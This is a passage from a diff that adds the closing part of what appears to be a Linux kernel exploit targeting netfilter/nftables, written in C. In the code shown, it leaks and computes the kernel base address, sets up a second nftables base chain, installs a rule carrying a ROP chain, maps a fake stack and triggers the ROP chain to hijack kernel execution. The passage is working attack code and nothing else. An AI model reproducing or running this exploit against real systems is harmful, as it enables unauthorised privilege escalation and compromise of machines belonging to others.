do_leak(nl, &server, table_name, aux_chain_name, &seq); + // first byte might fail due to buggy carry implementation with shift_amt = 0 + // so we just set it. The LSB will always remain constant. + + uint64_t kernel_addr = 0xffffffff00000000 + leak + (LEAK_BASE_OFFSET & 0xff); + uint64_t kernel_base = kernel_addr - LEAK_BASE_OFFSET; + + + // If the kernel base isn't aligned we should probably not continue. + if((kernel_base & 0xfffff) != 0) { + puts("[-] Leak failed."); + puts("[-] Try changing offsets / lengths / chain types."); + puts("[-] If all leaked bytes were ff, this is probably because of corrupted loopback state.. RIP"); + exit(EXIT_FAILURE); + } + + printf("[+] Kernel base @ 0x%.16lx\n", kernel_base); + stop_listener(pid); + struct unft_base_chain_param bp; + bp.hook_num = NF_INET_LOCAL_IN; + bp.prio = 10; + + if (create_chain(nl, table_name, "base_chain_2", NFPROTO_IPV4, &bp, &seq, NULL)) { + perror("Failed adding second base chain"); + exit(EXIT_FAILURE); + } + + err = install_rop_chain_rule(nl, kernel_base, "base_chain_2", &seq); + if (err < 0) { + perror("[-] Could not install ROP chain"); + exit(EXIT_FAILURE); + }; + + new_stack = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) + 0x3ff0; + trigger_rop(nl, kernel_base, &server, err); + after_rop(); +} \ No newline at end of file